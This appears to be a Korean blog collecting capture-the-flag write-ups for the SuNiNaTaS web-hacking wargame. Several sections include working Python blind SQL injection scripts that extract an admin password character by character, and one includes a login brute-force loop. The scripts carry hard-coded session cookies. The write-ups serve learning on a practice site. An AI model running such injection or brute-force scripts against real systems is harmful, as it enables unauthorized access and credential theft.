먼저 문제를 들어가면 

SuNiNaTaS 멤버의 패스워드를 알 수 있냐라는 질문과 pcap 파일을 하나 준다.

여기에서 HTTP를 사용하여 넘어가는 data를 분석하여 password를 찾아내면 된다.




logout이 발생하는 지점의 바로 전 패킷을 분석해보면, password로 위와 같은 값이 전송되는 것을 확인할 수 있다.




해당 계정으로 로그인 하면 위와 같이 문제가 풀린다.


'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 16  (0) 2016.11.20
SuNiNaTaS - Challenge Level 23  (0) 2015.09.02
SuNiNaTaS - Challenge Level 22  (0) 2015.09.02
SuNiNaTaS - Challenge Level 8  (0) 2015.08.28
SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28





admin이 필터링 되어있으므로 reverse 함수를 이용해 nimda 문자열을 거꾸로 돌려서 admin으로 접속했다.



하지만, 문자열 길이 제한이 있는 것 같다.



더 간단한 방법으로 admin을 우회하고, 필터링 하지 않는 left 함수를 이용해 pw값을 알아낼 수 있다.


먼저 pw의 길이를 알아낸다.


import urllib
import urllib2
import sys
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+"
key = ""

for j in range(len(string)):
	payload = "a'+'dmin'and(left(pw,1)='"+string[j]+"')--"
	payload = urllib.quote(payload)
	url = "http://suninatas.com/Part_one/web23/web23.asp?id="+payload+"&pw=1"

	print url

	opener = urllib2.build_opener(urllib2.HTTPHandler)
	request = urllib2.Request(url)
	request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
	request.add_header('Cookie', 'ASPSESSIONIDQSCSBBRT=ILIHJDADLBIDDOPOEHNPKHJB; auth%5Fkey=65038b0559e459420aa2d23093d01e4a; ASPSESSIONIDSSCSBAQS=EBPGPBICILNOGEFLFIBMANEM')
	request.get_method = lambda:'GET'
	data = opener.open(request)
	data = data.read()

	if "OK" in data:
		key += string[j]
		print "[*] Find Password!! Password is ["+key+"]"
		break
	else:
		print "[-] Fail!"
	time.sleep(0.1)



import urllib
import urllib2
import sys
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+"
key = "v"

for i in range(1,12):
	for j in range(len(string)):
		payload = "'or(left(pw,"+str(i+1)+")='"+key+string[j]+"')--"
		payload = urllib.quote(payload)
		url = "http://suninatas.com/Part_one/web23/web23.asp?id="+payload+"&pw=1"

		print url

		opener = urllib2.build_opener(urllib2.HTTPHandler)
		request = urllib2.Request(url)
		request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
		request.add_header('Cookie', 'ASPSESSIONIDQSCSBBRT=ILIHJDADLBIDDOPOEHNPKHJB; auth%5Fkey=65038b0559e459420aa2d23093d01e4a; ASPSESSIONIDSSCSBAQS=EBPGPBICILNOGEFLFIBMANEM')
		request.get_method = lambda:'GET'
		data = opener.open(request)
		data = data.read()

		if "OK" in data:
			key += string[j]
			print "[*] Find Password!! Password is ["+key+"]"
			break
		else:
			print "[-] Fail!"
		time.sleep(0.1)
print "[*] Key is ["+key+"]"



길이제한 때문에 v3ryhards까지 밖에 알아내지 못했다.

left함수 대신 right 함수를 이용하여 시도해보도록 하자.

import urllib
import urllib2
import sys
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+"
key = ""

for j in range(len(string)):
	payload = "'or(right(pw,4)='"+string[j]+"qli')--"
	payload = urllib.quote(payload)
	url = "http://suninatas.com/Part_one/web23/web23.asp?id="+payload+"&pw=1"

	print url

	opener = urllib2.build_opener(urllib2.HTTPHandler)
	request = urllib2.Request(url)
	request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
	request.add_header('Cookie', 'ASPSESSIONIDQSCSBBRT=ILIHJDADLBIDDOPOEHNPKHJB; auth%5Fkey=65038b0559e459420aa2d23093d01e4a; ASPSESSIONIDSSCSBAQS=EBPGPBICILNOGEFLFIBMANEM')
	request.get_method = lambda:'GET'
	data = opener.open(request)
	data = data.read()

	if "OK" in data:
		key += string[j]
		print "[*] Find Password!! Password is ["+key+"]"
	else:
		print "[-] Fail!"
	time.sleep(0.1)
print "[*] Password is ["+key+"]"




t는 guest의 t 이므로, i로 판단하고 i를 뒤에 적어보도록 하자.





v3ryhardsqli


'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 16  (0) 2016.11.20
SuNiNaTaS - Challenge Level 23  (0) 2015.09.02
SuNiNaTaS - Challenge Level 22  (0) 2015.09.02
SuNiNaTaS - Challenge Level 8  (0) 2015.08.28
SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28



뒤를 주석처리 해주면 위와 같이 OK admin이 뜬다.




and로 거짓값을 입력해주면 False,



참 값을 입력해주면 OK가 뜬다. 이를 이용하여 참인지 거짓인지 구별해 낼 수 있다.




admin의 password 길이가 10 글자라는 것을 알아냈다.

여기서부터 필자는 Python으로 코드를 작성하여 Blind SQL Injection 문제를 풀어 냈다.



import urllib
import urllib2
import sys
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="
key = ""

for i in range(10):
	for j in range(len(string)):
		payload = "admin'and(substring(pw,"+str(i+1)+",1)='"+string[j]+"')--"
		payload = urllib.quote(payload)
		url = "http://suninatas.com/Part_one/web22/web22.asp?id="+payload+"&pw=1"

		print url

		opener = urllib2.build_opener(urllib2.HTTPHandler)
		request = urllib2.Request(url)
		request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
		request.add_header('Cookie', 'ASPSESSIONIDQSCSBBRT=ILIHJDADLBIDDOPOEHNPKHJB; auth%5Fkey=65038b0559e459420aa2d23093d01e4a; ASPSESSIONIDSSCSBAQS=EBPGPBICILNOGEFLFIBMANEM')
		request.get_method = lambda:'GET'
		data = opener.open(request)
		data = data.read()

		if "OK" in data:
			key += string[j]
			print "[*] Find Password!! Password is ["+key+"]"
			break
		else:
			print "[-] Fail!"
		time.sleep(0.1)




'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 16  (0) 2016.11.20
SuNiNaTaS - Challenge Level 23  (0) 2015.09.02
SuNiNaTaS - Challenge Level 22  (0) 2015.09.02
SuNiNaTaS - Challenge Level 8  (0) 2015.08.28
SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28




소스를 보면 id는 admin이고 패스워드는 0~9999 중에 있다고 한다.


Python으로 스크립트를 작성하여 간단하게 Bruteforce를 해보도록 하자.



import urllib2
import sys
import time

url = "http://suninatas.com/Part_one/web08/web08.asp"

for i in range(10000):
	opener = urllib2.build_opener(urllib2.HTTPHandler)
	request = urllib2.Request(url, data = "id=admin&pw="+str(i))
	request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
	request.add_header('Cookie', 'ASPSESSIONIDQSCSBBRT=ILIHJDADLBIDDOPOEHNPKHJB;')
	request.get_method = lambda:'POST'
	data = opener.open(request)
	response = data.read()	
	print "[*] Request id=admin&pw="+str(i)
	if "Incorrect" not in response:
		print "[*] Find it!! password is "+str(i)
		break






'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 23  (0) 2015.09.02
SuNiNaTaS - Challenge Level 22  (0) 2015.09.02
SuNiNaTaS - Challenge Level 8  (0) 2015.08.28
SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27



접속하면 아이유 사진이 나온다.



스크롤바를 밑으로 내리다 보면, YES가 나오는데 버튼을 클릭하면,



너무 느리다고 한다.



개발자 도구를 켜두고 새로고침을 한후 console에 위와 같이 재빠르게 치도록 하자.



'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 22  (0) 2015.09.02
SuNiNaTaS - Challenge Level 8  (0) 2015.08.28
SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27
SuNiNaTaS - Challenge Level 4  (0) 2015.08.27



게시판이 나온다. README를 읽어보자.



친절하게 쿼리문도 공개해주지만, 필터링 되는 문자열이 몇가지 있다. 그 중 =가 필터링 되니 like로 우회해서 사용해보도록 하자.




auth_key를 알려준다.




auth_key에 아까 알려준 값을 넣고 요청을 해보자.



하지만, 접근 권한이 없다고 한다. 키가 맞지 않는 듯하다.




다른 힌트가 없나 게시글을 살펴보다보니 위와 같은 글을 발견했다.

해당 URL로 접속해보니, 아래와 같이 Encoding Dcoding 사이트가 나왔다.



auth_key를 입력하고 md5로 hash화 한다.



해쉬값을 입력하고 아까 README로 다시 접속을 시도한다.




소스를 보면 위와 같은 부분이 있다.

 구글에서 검색해보도록 하자.



'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 8  (0) 2015.08.28
SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27
SuNiNaTaS - Challenge Level 4  (0) 2015.08.27
SuNiNaTaS - Challenge Level 3  (0) 2015.08.27
  1. 초보해커 2016.08.03 22:02

    안녕하세요. 쿠키값을 MD5 해쉬해야한다는걸 바로 아신건가요?

    아니면 base64 같은거 다 해보고 MD5인걸 알게된건가요?



힌트를 보면 알 수 없는 숫자가 있다.



그리고 난독화된 자바스크립트도 있다.



난독화된 자바스크립트를 복호화해 보면, PASS()라는 함수를 선언한 것을 볼 수 있다.



아까 숫자를 PASS함수의 인자 값으로 넘겨서 실행시켜보자.





'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 7  (0) 2015.08.28
SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27
SuNiNaTaS - Challenge Level 4  (0) 2015.08.27
SuNiNaTaS - Challenge Level 3  (0) 2015.08.27
SuNiNaTaS - Challenge Level 2  (2) 2015.08.27




힌트를 보면, 위에 보이는 point를 50으로 만들고 user-agent를 SuNiNaTaS로 변경하라는 의미인 것 같다.



plus를 누르고 fiddler로 잡아서 User-agent를 바꾼 후 전송을 한다.

r키를 누르면 보냈던 요청을 그대로 재전송하기 떄문에 유용하게 사용할 수 있다.



'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27
SuNiNaTaS - Challenge Level 4  (0) 2015.08.27
SuNiNaTaS - Challenge Level 3  (0) 2015.08.27
SuNiNaTaS - Challenge Level 2  (2) 2015.08.27
SuNiNaTaS - Challenge Level 1  (0) 2015.08.27



공지사항 게시판에 글을 쓰는 것이 문제라고 한다.



공지사항에 접속해보면 divi가 notice인 것을 볼 수 있다.



자유게시판에는 divi가 Free로 되어 있다.



자유게시판에서 소스를 보면 divi 항목에 Free라는 값이 들어있는 것을 볼 수 있다.



위와 같이 이 값을 notice로 고치고,



submit 버튼을 보면 특정 함수가 있는데, 여기에도 free가 보인다.



notice로 고쳐서 console에서 실행해주면, 문제가 풀린다.



'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27
SuNiNaTaS - Challenge Level 4  (0) 2015.08.27
SuNiNaTaS - Challenge Level 3  (0) 2015.08.27
SuNiNaTaS - Challenge Level 2  (2) 2015.08.27
SuNiNaTaS - Challenge Level 1  (0) 2015.08.27




소스를 보면 힌트가 있는데, id와 pw를 같게 전송하라는 의미인 것 같다.

javascript에서도 id와 pw를 비교해 같으면 초기화 시켜버리므로 javascript를 우회해야 한다.



aa / aa를 입력하고 console에 document.web02.submit();를 입력한다.



'Challenge > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS - Challenge Level 6  (2) 2015.08.28
SuNiNaTaS - Challenge Level 5  (0) 2015.08.27
SuNiNaTaS - Challenge Level 4  (0) 2015.08.27
SuNiNaTaS - Challenge Level 3  (0) 2015.08.27
SuNiNaTaS - Challenge Level 2  (2) 2015.08.27
SuNiNaTaS - Challenge Level 1  (0) 2015.08.27
  1. 손정빈 2017.05.09 15:43

    개발자 도구로
    콘솔창에서
    document.web02.submit()라고 할시 document.web02가 선언 되어있지 않다는데 어떻게 해야할까요??

    • zairo 2017.05.15 18:22 신고

      위 그림의 URL로 접근 후 콘솔에 입력하시면 됩니다.

+ Recent posts